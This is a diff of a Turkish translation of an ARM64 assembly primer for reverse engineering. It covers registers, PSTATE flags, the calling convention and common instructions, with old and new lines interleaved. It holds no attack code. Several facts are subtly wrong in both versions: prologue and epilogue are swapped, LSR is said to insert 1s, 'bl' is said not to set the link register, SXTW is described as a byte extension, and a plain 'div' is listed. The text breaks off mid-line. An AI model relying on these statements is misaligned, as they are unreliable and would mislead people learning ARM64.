8. **`x30`** veya **`lr`** - **Bağlantı kaydı**. `BL` (Bağlantılı Dal) veya `BLR` (Bağlantılı Dal Kayıtına) talimatı yürütüldüğünde **dönüş adresini** tutar ve **`pc`** değerini bu kayıtta saklar.
|
||||
- Ayrıca diğer kayıtlar gibi kullanılabilir.
|
||||
- Mevcut fonksiyon yeni bir fonksiyon çağıracaksa ve dolayısıyla `lr`'yi geçersiz kılacaksa, başlangıçta yığında saklayacaktır, bu epilogdur (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp` ve `lr`'yi sakla, alan oluştur ve yeni `fp` al) ve sonunda geri alır, bu prologdur (`ldp x29, x30, [sp], #48; ret` -> `fp` ve `lr`'yi geri al ve dön).
|
||||
- Mevcut fonksiyon yeni bir fonksiyon çağıracaksa ve bu nedenle `lr`'yi geçersiz kılacaksa, başlangıçta yığında saklayacaktır, bu epilogdur (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp` ve `lr`'yi sakla, alan oluştur ve yeni `fp` al) ve sonunda geri alır, bu prologdur (`ldp x29, x30, [sp], #48; ret` -> `fp` ve `lr`'yi geri al ve dön).
|
||||
9. **`sp`** - **Yığın işaretçisi**, yığının en üstünü takip etmek için kullanılır.
|
||||
- **`sp`** değeri her zaman en az bir **quadword** **hizalaması** ile korunmalıdır, aksi takdirde hizalama hatası meydana gelebilir.
|
||||
- **`sp`** değeri her zaman en az bir **quadword** **hizalamasında** tutulmalıdır, aksi takdirde hizalama hatası meydana gelebilir.
|
||||
10. **`pc`** - **Program sayacı**, bir sonraki talimata işaret eder. Bu kayıt yalnızca istisna üretimleri, istisna dönüşleri ve dallar aracılığıyla güncellenebilir. Bu kaydı okuyabilen tek sıradan talimatlar, **`pc`** adresini **`lr`** (Bağlantı Kaydı) içinde saklamak için bağlantılı dal talimatlarıdır (BL, BLR).
|
||||
11. **`xzr`** - **Sıfır kaydı**. 32-bit kayıt formunda **`wzr`** olarak da adlandırılır. Sıfır değerini kolayca almak için (yaygın işlem) veya **`subs`** kullanarak karşılaştırmalar yapmak için kullanılabilir, örneğin **`subs XZR, Xn, #10`** sonuç verisini hiçbir yere saklamadan ( **`xzr`** içinde).
|
||||
11. **`xzr`** - **Sıfır kaydı**. 32-bit kayıt formunda **`wzr`** olarak da adlandırılır. Sıfır değerini kolayca almak için (yaygın işlem) veya **`subs`** kullanarak karşılaştırmalar yapmak için kullanılabilir, örneğin **`subs XZR, Xn, #10`** sonuç verisini hiçbir yere saklamaz ( **`xzr`** içinde).
|
||||
|
||||
**`Wn`** kayıtları, **`Xn`** kaydının **32bit** versiyonudur.
|
||||
|
||||
@ -55,7 +55,7 @@ Ayrıca, optimize edilmiş tek talimat çoklu veri (SIMD) işlemlerinde ve kayan
|
||||
Sadece özel talimatlar olan **`mrs`** ve **`msr`** kullanılarak okunabilir veya ayarlanabilirler.
|
||||
|
||||
Özel kayıtlar **`TPIDR_EL0`** ve **`TPIDDR_EL0`** tersine mühendislik yaparken sıkça bulunur. `EL0` eki, kaydın erişilebileceği **minimum istisnayı** gösterir (bu durumda EL0, normal programların çalıştığı düzenli istisna (ayrıcalık) seviyesidir).\
|
||||
Genellikle **iş parçacığına özgü depolama** bellek bölgesinin **temel adresini** saklamak için kullanılır. Genellikle ilki EL0'da çalışan programlar için okunabilir ve yazılabilir, ancak ikincisi EL0'dan okunabilir ve EL1'den (çekirdek gibi) yazılabilir.
|
||||
Genellikle, **iş parçacığına özgü depolama** bellek bölgesinin **temel adresini** saklamak için kullanılır. Genellikle ilki EL0'da çalışan programlar için okunabilir ve yazılabilir, ancak ikincisi EL0'dan okunabilir ve EL1'den (çekirdek gibi) yazılabilir.
|
||||
|
||||
- `mrs x0, TPIDR_EL0 ; TPIDR_EL0'ı x0'a oku`
|
||||
- `msr TPIDR_EL0, X0 ; x0'ı TPIDR_EL0'a yaz`
|
||||
@ -75,28 +75,28 @@ Erişilebilir alanlar şunlardır:
|
||||
- İki pozitif sayının toplamı negatif bir sonuç verir.
|
||||
- İki negatif sayının toplamı pozitif bir sonuç verir.
|
||||
- Çıkarma işlemi sırasında, daha küçük bir pozitif sayıdan büyük bir negatif sayı çıkarıldığında (veya tersine), ve sonuç verilen bit boyutunun aralığında temsil edilemezse.
|
||||
- Açıkça, işlemci işlemin imzalı olup olmadığını bilmez, bu nedenle C ve V'yi işlemlerde kontrol eder ve taşmanın imzalı veya imzasız olup olmadığını belirtir.
|
||||
- Açıkça, işlemcinin işlemin imzalı olup olmadığını bilmediği için, C ve V'yi işlemlerde kontrol eder ve taşmanın imzalı veya imzasız olup olmadığını belirtir.
|
||||
|
||||
> [!WARNING]
|
||||
> Tüm talimatlar bu bayrakları güncellemez. **`CMP`** veya **`TST`** gibi bazıları günceller ve **`ADDS`** gibi s eki olan diğerleri de günceller.
|
||||
> Tüm talimatlar bu bayrakları güncellemez. **`CMP`** veya **`TST`** gibi bazıları günceller ve **`ADDS`** gibi s son eki olan diğerleri de günceller.
|
||||
|
||||
- Mevcut **kayıt genişliği (`nRW`) bayrağı**: Eğer bayrak 0 değerini tutuyorsa, program yeniden başlatıldığında AArch64 yürütme durumunda çalışacaktır.
|
||||
- Mevcut **İstisna Seviyesi** (**`EL`**): EL0'da çalışan bir normal program 0 değerine sahip olacaktır.
|
||||
- **Tek adım** bayrağı (**`SS`**): Hata ayıklayıcılar tarafından, bir istisna aracılığıyla **`SPSR_ELx`** içinde SS bayrağını 1 olarak ayarlayarak tek adım atmak için kullanılır. Program bir adım atacak ve tek adım istisnası verecektir.
|
||||
- **Geçersiz istisna** durumu bayrağı (**`IL`**): Ayrıcalıklı bir yazılım geçersiz bir istisna seviyesi aktarımı gerçekleştirdiğinde işaretlemek için kullanılır, bu bayrak 1 olarak ayarlanır ve işlemci geçersiz durum istisnası tetikler.
|
||||
- **Geçersiz istisna** durumu bayrağı (**`IL`**): Ayrıcalıklı bir yazılımın geçersiz bir istisna seviyesi aktarımı gerçekleştirdiğini işaretlemek için kullanılır, bu bayrak 1'e ayarlanır ve işlemci geçersiz durum istisnası tetikler.
|
||||
- **`DAIF`** bayrakları: Bu bayraklar, ayrıcalıklı bir programın belirli dış istisnaları seçici olarak maskelemesine olanak tanır.
|
||||
- Eğer **`A`** 1 ise, **asenkron abortlar** tetiklenecektir. **`I`**, dış donanım **Kesme İsteklerine** (IRQ'lar) yanıt vermek için yapılandırılır. F ise **Hızlı Kesme İstekleri** (FIR'lar) ile ilgilidir.
|
||||
- **Yığın işaretçisi seçme** bayrakları (**`SPS`**): EL1 ve üzerindeki ayrıcalıklı programlar, kendi yığın işaretçisi kaydı ile kullanıcı modeli arasında geçiş yapabilirler (örneğin `SP_EL1` ile `EL0` arasında). Bu geçiş, **`SPSel`** özel kaydına yazılarak gerçekleştirilir. Bu, EL0'dan yapılamaz.
|
||||
- **Yığın işaretçisi seçme** bayrakları (**`SPS`**): EL1 ve üzerindeki ayrıcalıklı programlar, kendi yığın işaretçisi kaydı ile kullanıcı modeli arasında geçiş yapabilir (örneğin, `SP_EL1` ile `EL0` arasında). Bu geçiş, **`SPSel`** özel kaydına yazılarak gerçekleştirilir. Bu, EL0'dan yapılamaz.
|
||||
|
||||
## **Çağrı Sözleşmesi (ARM64v8)**
|
||||
|
||||
ARM64 çağrı sözleşmesi, bir fonksiyona **ilk sekiz parametrenin** **`x0` ile `x7`** kayıtlarında geçildiğini belirtir. **Ek** parametreler **yığında** geçilir. **Dönüş** değeri **`x0`** kaydında veya **`x1`** kaydında **eğer 128 bit uzunluğundaysa** geri geçilir. **`x19`** ile **`x30`** ve **`sp`** kayıtları, fonksiyon çağrıları arasında **korunmalıdır**.
|
||||
ARM64 çağrı sözleşmesi, bir fonksiyona **ilk sekiz parametrenin** **`x0` ile `x7`** kayıtlarında geçirileceğini belirtir. **Ek** parametreler **yığında** geçilir. **Dönüş** değeri, **`x0`** kaydında veya **`x1`** kaydında **eğer 128 bit uzunluğundaysa** geri geçirilir. **`x19`** ile **`x30`** ve **`sp`** kayıtları, fonksiyon çağrıları arasında **korunmalıdır**.
|
||||
|
||||
Bir fonksiyonu assembly dilinde okurken, **fonksiyon prologunu ve epilogunu** arayın. **Prolog**, genellikle **çerçeve işaretçisini (`x29`) saklamayı**, **yeni bir çerçeve işaretçisi** ayarlamayı ve **yığın alanı** ayırmayı içerir. **Epilog**, genellikle **saklanan çerçeve işaretçisini geri yüklemeyi** ve **fonksiyondan dönmeyi** içerir.
|
||||
Bir fonksiyonu assembly dilinde okurken, **fonksiyon prologunu ve epilogunu** arayın. **Prolog**, genellikle **çerçeve işaretçisini (`x29`) saklamayı**, **yeni bir çerçeve işaretçisi** ayarlamayı ve **yığın alanı** ayırmayı içerir. **Epilog** genellikle **saklanan çerçeve işaretçisini geri yüklemeyi** ve **fonksiyondan dönmeyi** içerir.
|
||||
|
||||
### Swift'te Çağrı Sözleşmesi
|
||||
|
||||
Swift'in kendi **çağrı sözleşmesi** vardır ve [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) adresinde bulunabilir.
|
||||
Swift'in kendi **çağrı sözleşmesi** vardır, [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) adresinde bulunabilir.
|
||||
|
||||
## **Yaygın Talimatlar (ARM64v8)**
|
||||
|
||||
@ -104,25 +104,25 @@ ARM64 talimatları genellikle **`opcode dst, src1, src2`** formatına sahiptir,
|
||||
|
||||
- **`mov`**: Bir **kayıttan** diğerine bir değeri **taşı**.
|
||||
- Örnek: `mov x0, x1` — Bu, `x1`'den `x0`'a değeri taşır.
|
||||
- **`ldr`**: **Bellekten** bir değeri bir **kayda** **yükle**.
|
||||
- **`ldr`**: **Bellekten** bir değeri bir **kayda yükle**.
|
||||
- Örnek: `ldr x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan bir değeri `x0`'a yükler.
|
||||
- **Offset modu**: Orijinal işaretçiyi etkileyen bir offset belirtilir, örneğin:
|
||||
- `ldr x2, [x1, #8]`, bu `x2`'ye `x1 + 8` değerini yükleyecektir.
|
||||
- `ldr x2, [x0, x1, lsl #2]`, bu `x2`'ye `x0` dizisinden `x1` (indeks) \* 4 konumundaki bir nesneyi yükleyecektir.
|
||||
- **Önceden indekslenmiş mod**: Bu, orijinal değere hesaplamalar uygular, sonucu alır ve ayrıca yeni orijinal değeri orijinalde saklar.
|
||||
- `ldr x2, [x1, #8]!`, bu `x2`'ye `x1 + 8` yükler ve `x1`'e `x1 + 8` sonucunu saklar.
|
||||
- `ldr x2, [x0, x1, lsl #2]`, bu `x2`'ye `x0` dizisinden `x1` (indeks) \* 4 pozisyonundan bir nesne yükleyecektir.
|
||||
- **Önceden indekslenmiş mod**: Bu, orijinal işaretçiye hesaplamalar uygular, sonucu alır ve ayrıca yeni orijinal işaretçiyi orijinalde saklar.
|
||||
- `ldr x2, [x1, #8]!`, bu `x2`'ye `x1 + 8` yükler ve `x1`'de `x1 + 8` sonucunu saklar.
|
||||
- `str lr, [sp, #-4]!`, Bağlantı kaydını sp'ye sakla ve kaydı güncelle.
|
||||
- **Son indeks modu**: Bu, önceki gibi, ancak bellek adresine erişilir ve ardından offset hesaplanır ve saklanır.
|
||||
- `ldr x0, [x1], #8`, `x1`'i `x0`'a yükler ve `x1`'i `x1 + 8` ile günceller.
|
||||
- **PC'ye göre adresleme**: Bu durumda, yüklenecek adres PC kaydına göre hesaplanır.
|
||||
- `ldr x1, =_start`, Bu, `_start` sembolünün başladığı adresi `x1`'e yükleyecektir.
|
||||
- **`str`**: Bir **kayıttan** **belleğe** bir değeri **sakla**.
|
||||
- Örnek: `str x0, [x1]` — Bu, `x0`'deki değeri `x1` tarafından işaret edilen bellek konumuna saklar.
|
||||
- **`ldp`**: **Kayıt Çifti Yükle**. Bu talimat, **ardışık bellek** konumlarından **iki kaydı** yükler. Bellek adresi genellikle başka bir kayıttaki değere bir offset eklenerek oluşturulur.
|
||||
- Örnek: `ldp x0, x1, [x2]` — Bu, `x2` ve `x2 + 8` konumlarındaki bellekten `x0` ve `x1`'i yükler.
|
||||
- **`stp`**: **Kayıt Çifti Sakla**. Bu talimat, **ardışık bellek** konumlarına **iki kaydı** saklar. Bellek adresi genellikle başka bir kayıttaki değere bir offset eklenerek oluşturulur.
|
||||
- Örnek: `stp x0, x1, [sp]` — Bu, `x0` ve `x1`'i `sp` ve `sp + 8` konumlarındaki bellek alanlarına saklar.
|
||||
- `stp x0, x1, [sp, #16]!` — Bu, `x0` ve `x1`'i `sp+16` ve `sp + 24` konumlarındaki bellek alanlarına saklar ve `sp`'yi `sp+16` ile günceller.
|
||||
- Örnek: `str x0, [x1]` — Bu, `x0`'daki değeri `x1` tarafından işaret edilen bellek konumuna saklar.
|
||||
- **`ldp`**: **Kayıt Çifti Yükle**. Bu talimat, **ardışık bellek** konumlarından iki kaydı **yükler**. Bellek adresi genellikle başka bir kayıttaki değere bir offset eklenerek oluşturulur.
|
||||
- Örnek: `ldp x0, x1, [x2]` — Bu, `x0` ve `x1`'i sırasıyla `x2` ve `x2 + 8`'deki bellek konumlarından yükler.
|
||||
- **`stp`**: **Kayıt Çifti Sakla**. Bu talimat, **ardışık bellek** konumlarına iki kaydı **saklar**. Bellek adresi genellikle başka bir kayıttaki değere bir offset eklenerek oluşturulur.
|
||||
- Örnek: `stp x0, x1, [sp]` — Bu, `x0` ve `x1`'i sırasıyla `sp` ve `sp + 8`'deki bellek konumlarına saklar.
|
||||
- `stp x0, x1, [sp, #16]!` — Bu, `x0` ve `x1`'i sırasıyla `sp+16` ve `sp + 24`'deki bellek konumlarına saklar ve `sp`'yi `sp+16` ile günceller.
|
||||
- **`add`**: İki kaydın değerlerini toplar ve sonucu bir kayıtta saklar.
|
||||
- Söz dizimi: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
|
||||
- Xn1 -> Hedef
|
||||
@ -130,75 +130,75 @@ ARM64 talimatları genellikle **`opcode dst, src1, src2`** formatına sahiptir,
|
||||
- Xn3 | #imm -> Operatör 2 (kayıt veya anlık)
|
||||
- \[shift #N | RRX] -> Bir kaydırma gerçekleştir veya RRX çağır
|
||||
- Örnek: `add x0, x1, x2` — Bu, `x1` ve `x2`'deki değerleri toplar ve sonucu `x0`'da saklar.
|
||||
- `add x5, x5, #1, lsl #12` — Bu, 4096'ya eşittir (1, 12 kez kaydırılmış) -> 1 0000 0000 0000 0000
|
||||
- `add x5, x5, #1, lsl #12` — Bu, 4096'ya eşittir (1, 12 kez kaydırılmıştır) -> 1 0000 0000 0000 0000
|
||||
- **`adds`** Bu, bir `add` işlemi gerçekleştirir ve bayrakları günceller.
|
||||
- **`sub`**: İki kaydın değerlerini çıkarır ve sonucu bir kayıtta saklar.
|
||||
- **`add`** **söz dizimini** kontrol edin.
|
||||
- Örnek: `sub x0, x1, x2` — Bu, `x2`'deki değeri `x1`'den çıkarır ve sonucu `x0`'da saklar.
|
||||
- **`subs`** Bu, çıkarma işlemi gibidir ancak bayrağı günceller.
|
||||
- **`mul`**: **İki kaydın** değerlerini çarpar ve sonucu bir kayıtta saklar.
|
||||
- **`subs`** Bu, çıkarma işlemi yapar ancak bayrağı günceller.
|
||||
- **`mul`**: İki kaydın değerlerini çarpar ve sonucu bir kayıtta saklar.
|
||||
- Örnek: `mul x0, x1, x2` — Bu, `x1` ve `x2`'deki değerleri çarpar ve sonucu `x0`'da saklar.
|
||||
- **`div`**: Bir kaydın değerini diğerine böler ve sonucu bir kayıtta saklar.
|
||||
- Örnek: `div x0, x1, x2` — Bu, `x1`'deki değeri `x2`'ye böler ve sonucu `x0`'da saklar.
|
||||
- **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
|
||||
- **Mantıksal kaydırma sola**: Sonundan 0 ekleyerek diğer bitleri ileri taşır (n kat 2 ile çarpma).
|
||||
- **Mantıksal kaydırma sağa**: Başlangıcına 1 ekleyerek diğer bitleri geri taşır (imzasız n kat 2 ile bölme).
|
||||
- **Aritmetik kaydırma sağa**: **`lsr`** gibi, ancak en anlamlı bit 1 ise 0 eklemek yerine **1 eklenir** (imzalı n kat 2 ile bölme).
|
||||
- **Mantıksal kaydırma sola**: Diğer bitleri ileri kaydırarak uçtan 0 ekler (n kez 2 ile çarpma).
|
||||
- **Mantıksal kaydırma sağa**: Diğer bitleri geri kaydırarak başa 1 ekler (imzasız olarak n kez 2 ile bölme).
|
||||
- **Aritmetik kaydırma sağa**: **`lsr`** gibi, ancak en anlamlı bit 1 ise 0 eklemek yerine **1 eklenir** (imzalı olarak n kez 2 ile bölme).
|
||||
- **Sağa döndürme**: **`lsr`** gibi, ancak sağdan çıkarılan her şey sola eklenir.
|
||||
- **Genişletme ile sağa döndürme**: **`ror`** gibi, ancak taşıma bayrağı "en anlamlı bit" olarak kullanılır. Yani taşıma bayrağı bit 31'e taşınır ve çıkarılan bit taşıma bayrağına eklenir.
|
||||
- **`bfm`**: **Bit Alanı Taşıma**, bu işlemler bir değerden `0...n` bitlerini kopyalar ve bunları **`m..m+n`** konumlarına yerleştirir. **`#s`**, **en soldaki bit** konumunu ve **`#r`** ise **sağa döndürme miktarını** belirtir.
|
||||
- **Genişletme ile sağa döndürme**: **`ror`** gibi, ancak taşıma bayrağı "en anlamlı bit" olarak kullanılır. Böylece taşıma bayrağı bit 31'e taşınır ve çıkarılan bit taşıma bayrağına eklenir.
|
||||
- **`bfm`**: **Bit Alanı Taşı**, bu işlemler **bir değerden `0...n` bitlerini kopyalar** ve bunları **`m..m+n`** pozisyonlarına yerleştirir. **`#s`**, **en soldaki bit** pozisyonunu ve **`#r`** **sağa döndürme miktarını** belirtir.
|
||||
- Bit alanı taşıma: `BFM Xd, Xn, #r`
|
||||
- İmzalı bit alanı taşıma: `SBFM Xd, Xn, #r, #s`
|
||||
- İmzalı olmayan bit alanı taşıma: `UBFM Xd, Xn, #r, #s`
|
||||
- **Bit alanı Çıkarma ve Ekleme:** Bir kayıttan bir bit alanını kopyalar ve başka bir kayda kopyalar.
|
||||
- **`BFI X1, X2, #3, #4`** X2'den X1'in 3. bitinden 4 bit ekle.
|
||||
- **`BFXIL X1, X2, #3, #4`** X2'nin 3. bitinden dört bit çıkar ve X1'e kopyala.
|
||||
- **`SBFIZ X1, X2, #3, #4`** X2'den 4 biti imza uzatır ve X1'e 3. bit konumundan ekler, sağdaki bitleri sıfırlar.
|
||||
- **`SBFX X1, X2, #3, #4`** X2'den 3. bitten başlayarak 4 bit çıkarır, imza uzatır ve sonucu X1'e yerleştirir.
|
||||
- **`UBFIZ X1, X2, #3, #4`** X2'den 4 biti sıfır uzatır ve X1'e 3. bit konumundan ekler, sağdaki bitleri sıfırlar.
|
||||
- **`UBFX X1, X2, #3, #4`** X2'den 3. bitten başlayarak 4 bit çıkarır ve sıfır uzatılmış sonucu X1'e yerleştirir.
|
||||
- **İmza Uzatma X'e:** Bir değerin imzasını uzatır (veya imzasız versiyonda sadece 0 ekler) böylece onunla işlemler gerçekleştirebiliriz:
|
||||
- **`SXTB X1, W2`** W2'den **X1'e** bir baytın imzasını uzatır (`W2`, `X2`'nin yarısıdır) 64bit doldurmak için.
|
||||
- **`SXTH X1, W2`** W2'den **X1'e** 16bit bir sayının imzasını uzatır 64bit doldurmak için.
|
||||
- **`SXTW X1, W2`** W2'den **X1'e** bir baytın imzasını uzatır 64bit doldurmak için.
|
||||
- **`UXTB X1, W2`** W2'den **X1'e** 0 ekler (imzasız) 64bit doldurmak için.
|
||||
- **`extr`:** Belirtilen **kayıt çiftlerinden** bitleri çıkarır.
|
||||
- **`BFXIL X1, X2, #3, #4`** X2'nin 3. bitinden 4 bit çıkar ve X1'e kopyala.
|
||||
- **`SBFIZ X1, X2, #3, #4`** X2'den 4 bit işaret uzat ve X1'e ekle, 3. bit pozisyonundan başlayarak sağdaki bitleri sıfırla.
|
||||
- **`SBFX X1, X2, #3, #4`** X2'den 3. bitten başlayarak 4 bit çıkar, işaret uzat ve sonucu X1'e yerleştir.
|
||||
- **`UBFIZ X1, X2, #3, #4`** X2'den 4 bit sıfır uzat ve X1'e ekle, 3. bit pozisyonundan başlayarak sağdaki bitleri sıfırla.
|
||||
- **`UBFX X1, X2, #3, #4`** X2'den 3. bitten başlayarak 4 bit çıkar ve sıfır uzatılmış sonucu X1'e yerleştir.
|
||||
- **İşareti X'e Uzatma:** Bir değerin işaretini (veya imzasız versiyonunda sadece 0 ekler) uzatır, böylece onunla işlemler gerçekleştirebiliriz:
|
||||
- **`SXTB X1, W2`** W2'den **X1'e** bir baytın işaretini uzatır (`W2`, `X2`'nin yarısıdır) ve 64 bit doldurur.
|
||||
- **`SXTH X1, W2`** W2'den **X1'e** 16 bitlik bir sayının işaretini uzatır ve 64 bit doldurur.
|
||||
- **`SXTW X1, W2`** W2'den **X1'e** bir baytın işaretini uzatır ve 64 bit doldurur.
|
||||
- **`UXTB X1, W2`** W2'den **X1'e** bir bayta 0 ekler (imzasız) ve 64 bit doldurur.
|
||||
- **`extr`:** Belirtilen **bir çift kayıttan bitleri çıkarır**.
|
||||
- Örnek: `EXTR W3, W2, W1, #3` Bu, **W1+W2'yi birleştirir** ve **W2'nin 3. bitinden W1'in 3. bitine kadar** alır ve W3'e saklar.
|
||||
- **`cmp`**: İki kaydı **karşılaştırır** ve durum bayraklarını ayarlar. Bu, **`subs`**'ın bir takma adıdır ve hedef kaydı sıfır kaydına ayarlar. `m == n` olup olmadığını bilmek için yararlıdır.
|
||||
- **`cmp`**: İki kaydı **karşılaştırır** ve durum bayraklarını ayarlar. Bu, **`subs`**'nin bir takma adıdır ve hedef kaydı sıfır kaydına ayarlar. `m == n` olup olmadığını bilmek için yararlıdır.
|
||||
- **`subs`** ile aynı söz dizimini destekler.
|
||||
- Örnek: `cmp x0, x1` — Bu, `x0` ve `x1`'deki değerleri karşılaştırır ve durum bayraklarını buna göre ayarlar.
|
||||
- **`cmn`**: Negatif **operandı karşılaştırır**. Bu durumda, **`adds`**'ın bir takma adıdır ve aynı söz dizimini destekler. `m == -n` olup olmadığını bilmek için yararlıdır.
|
||||
- **`cmn`**: Negatif **operandı karşılaştırır**. Bu durumda, **`adds`**'nin bir takma adıdır ve aynı söz dizimini destekler. `m == -n` olup olmadığını bilmek için yararlıdır.
|
||||
- **`ccmp`**: Koşullu karşılaştırma, yalnızca önceki bir karşılaştırma doğruysa gerçekleştirilecek bir karşılaştırmadır ve özellikle nzcv bitlerini ayarlayacaktır.
|
||||
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> Eğer x1 != x2 ve x3 < x4 ise, func'a atla.
|
||||
- Bu, **`ccmp`**'nin yalnızca önceki **`cmp`'nin `NE`** olduğu durumda yürütüleceği anlamına gelir, eğer değilse `nzcv` bitleri 0 olarak ayarlanır (bu da `blt` karşılaştırmasını tatmin etmez).
|
||||
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> eğer x1 != x2 ve x3 < x4 ise, func'a atla.
|
||||
- Bu, **`ccmp`**'nin yalnızca **önceki `cmp` bir `NE`** olduğunda yürütüleceği anlamına gelir, eğer değilse `nzcv` bitleri 0'a ayarlanır (bu da `blt` karşılaştırmasını tatmin etmez).
|
||||
- Bu, `ccmn` olarak da kullanılabilir (aynı ancak negatif, `cmp` ile `cmn` gibi).
|
||||
- **`tst`**: Karşılaştırmanın değerlerinden herhangi birinin 1 olup olmadığını kontrol eder (sonucu hiçbir yere saklamadan ANDS gibi çalışır). Bir kaydı bir değerle kontrol etmek ve kaydın belirtilen değerindeki bitlerden herhangi birinin 1 olup olmadığını kontrol etmek için yararlıdır.
|
||||
- **`tst`**: Karşılaştırmanın değerlerinden herhangi birinin 1 olup olmadığını kontrol eder (sonucu herhangi bir yere saklamadan ANDS gibi çalışır). Bir kaydı bir değerle kontrol etmek ve kaydın belirtilen değerindeki herhangi bir bitin 1 olup olmadığını kontrol etmek için yararlıdır.
|
||||
- Örnek: `tst X1, #7` X1'in son 3 bitinden herhangi birinin 1 olup olmadığını kontrol et.
|
||||
- **`teq`**: Sonucu göz ardı ederek XOR işlemi.
|
||||
- **`b`**: Koşulsuz Dal.
|
||||
- Örnek: `b myFunction`
|
||||
- Not: Bu, dönüş adresi ile bağlantı kaydını doldurmaz (geri dönmesi gereken alt program çağrıları için uygun değildir).
|
||||
- Not: Bu, bağlantı kaydını dönüş adresi ile doldurmaz (geri dönmesi gereken alt program çağrıları için uygun değildir).
|
||||
- **`bl`**: **Bağlantı** ile dal, bir **alt programı** **çağırmak** için kullanılır. **Dönüş adresini `x30`'da** saklar.
|
||||
- Örnek: `bl myFunction` — Bu, `myFunction` fonksiyonunu çağırır ve dönüş adresini `x30`'da saklar.
|
||||
- Not: Bu, dönüş adresi ile bağlantı kaydını doldurmaz (geri dönmesi gereken alt program çağrıları için uygun değildir).
|
||||
- **`blr`**: **Bağlantı** ile Kayıta Dal, hedefin **bir kayıtta** **belirtilmiş** olduğu bir **alt programı** **çağırmak** için kullanılır. Dönüş adresini `x30`'da saklar. (Bu
|
||||
- Örnek: `blr x1` — Bu, adresi `x1`'de bulunan fonksiyonu çağırır ve dönüş adresini `x30`'da saklar.
|
||||
- **`ret`**: **Alt programdan** **dön**, genellikle **`x30`**'deki adresi kullanarak.
|
||||
- Not: Bu, bağlantı kaydını dönüş adresi ile doldurmaz (geri dönmesi gereken alt program çağrıları için uygun değildir).
|
||||
- **`blr`**: **Bağlantı** ile Kayıta Dal, hedefin **bir kayıtta** **belirtilerek** bir **alt programı** **çağırmak** için kullanılır. Dönüş adresini `x30`'da saklar. (Bu
|
||||
- Örnek: `blr x1` — Bu, `x1`'de bulunan adresi içeren fonksiyonu çağırır ve dönüş adresini `x30`'da saklar.
|
||||
- **`ret`**: **Alt programdan dön**, genellikle **`x30`**'daki adresi kullanarak.
|
||||
- Örnek: `ret` — Bu, mevcut alt programdan dönüş yapar ve dönüş adresini `x30`'da kullanır.
|
||||
- **`b.<cond>`**: Koşullu dallar.
|
||||
- **`b.eq`**: **Eşitse dal**, önceki `cmp` talimatına dayanarak.
|
||||
- Örnek: `b.eq label` — Eğer önceki `cmp` talimatı iki eşit değer bulursa, bu `label`'a atlar.
|
||||
- **`b.ne`**: **Eşit Değilse Dal**. Bu talimat, durum bayraklarını kontrol eder (önceki karşılaştırma talimatı tarafından ayarlanmıştır) ve karşılaştırılan değerler eşit değilse, bir etikete veya adrese dalar.
|
||||
- **`b.ne`**: **Eşit Değilse Dal**. Bu talimat, durum bayraklarını kontrol eder (önceki bir karşılaştırma talimatı tarafından ayarlanmıştır) ve karşılaştırılan değerler eşit değilse, bir etikete veya adrese dalar.
|
||||
- Örnek: `cmp x0, x1` talimatından sonra, `b.ne label` — Eğer `x0` ve `x1`'deki değerler eşit değilse, bu `label`'a atlar.
|
||||
- **`cbz`**: **Sıfır ile Karşılaştır ve Dal**. Bu talimat, bir kaydı sıfır ile karşılaştırır ve eğer eşitse, bir etikete veya adrese dalar.
|
||||
- Örnek: `cbz x0, label` — Eğer `x0`'deki değer sıfırsa, bu `label`'a atlar.
|
||||
- **`cbnz`**: **Sıfır Olmayan ile Karşılaştır ve Dal**. Bu talimat, bir kaydı sıfır ile karşılaştırır ve eğer eşit değilse, bir etikete veya adrese dalar.
|
||||
- Örnek: `cbnz x0, label` — Eğer `x0`'deki değer sıfır değilse, bu `label`'a atlar.
|
||||
- **`tbnz`**: Bit testi yap ve sıfır olmayan durumda dal.
|
||||
- **`cbz`**: **Sıfır ile Karşılaştır ve Dala Geç**. Bu talimat, bir kaydı sıfır ile karşılaştırır ve eğer eşitse, bir etikete veya adrese dalar.
|
||||
- Örnek: `cbz x0, label` — Eğer `x0`'daki değer sıfırsa, bu `label`'a atlar.
|
||||
- **`cbnz`**: **Sıfır Olmayan ile Karşılaştır ve Dala Geç**. Bu talimat, bir kaydı sıfır ile karşılaştırır ve eğer eşit değilse, bir etikete veya adrese dalar.
|
||||
- Örnek: `cbnz x0, label` — Eğer `x0`'daki değer sıfır değilse, bu `label`'a atlar.
|
||||
- **`tbnz`**: Bit testi ve sıfır olmayan durumda dal.
|
||||
- Örnek: `tbnz x0, #8, label`
|
||||
- **`tbz`**: Bit testi yap ve sıfır durumunda dal.
|
||||
- **`tbz`**: Bit testi ve sıfır durumunda dal.
|
||||
- Örnek: `tbz x0, #8, label`
|
||||
- **Koşullu seçim işlemleri**: Bu işlemler, koşullu bitlere bağlı olarak davranışlarını değiştirir.
|
||||
- **Koşullu seçim işlemleri**: Bu işlemler, davranışlarının koşullu bitlere bağlı olarak değiştiği işlemlerdir.
|
||||
- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Eğer doğruysa, X0 = X1, eğer yanlışsa, X0 = X2.
|
||||
- `csinc Xd, Xn, Xm, cond` -> Eğer doğruysa, Xd = Xn, eğer yanlışsa, Xd = Xm + 1.
|
||||
- `cinc Xd, Xn, cond` -> Eğer doğruysa, Xd = Xn + 1, eğer yanlışsa, Xd = Xn.
|
||||
@ -208,13 +208,13 @@ ARM64 talimatları genellikle **`opcode dst, src1, src2`** formatına sahiptir,
|
||||
- `cneg Xd, Xn, cond` -> Eğer doğruysa, Xd = - Xn, eğer yanlışsa, Xd = Xn.
|
||||
- `cset Xd, Xn, Xm, cond` -> Eğer doğruysa, Xd = 1, eğer yanlışsa, Xd = 0.
|
||||
- `csetm Xd, Xn, Xm, cond` -> Eğer doğruysa, Xd = \<tüm 1>, eğer yanlışsa, Xd = 0.
|
||||
- **`adrp`**: Bir sembolün **sayfa adresini** hesapla ve bir kayıtta sakla.
|
